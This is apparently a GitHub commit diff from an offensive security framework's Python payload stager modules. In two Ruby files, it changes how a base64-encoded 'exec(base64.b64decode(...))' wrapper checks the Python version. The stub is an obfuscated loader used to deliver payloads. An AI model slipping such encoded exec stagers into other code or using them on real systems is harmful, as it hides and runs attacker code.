File tree Expand file tree Collapse file tree 2 files changed +2
-2
lines changed
modules/payloads/stagers/python Expand file tree Collapse file tree 2 files changed +2
-2
lines changed Original file line number Diff line number Diff line change @@ -43,7 +43,7 @@ def generate
43
43
44
44
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
45
45
b64_stub = "import base64,sys; exec(base64.b64decode("
46
- b64_stub << "( str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('"
46
+ b64_stub << "{2: str}.get( sys.version_info[0], lambda b:bytes(b,'UTF-8'))('"
47
47
b64_stub << Rex ::Text . encode_base64 ( cmd )
48
48
b64_stub << "')))"
49
49
return b64_stub
Original file line number Diff line number Diff line change @@ -41,7 +41,7 @@ def generate
41
41
42
42
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
43
43
b64_stub = "import base64,sys; exec(base64.b64decode("
44
- b64_stub << "( str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('"
44
+ b64_stub << "{2: str}.get( sys.version_info[0], lambda b:bytes(b,'UTF-8'))('"
45
45
b64_stub << Rex ::Text . encode_base64 ( cmd )
46
46
b64_stub << "')))"
47
47
return b64_stub
You can’t perform that action at this time.
0 commit comments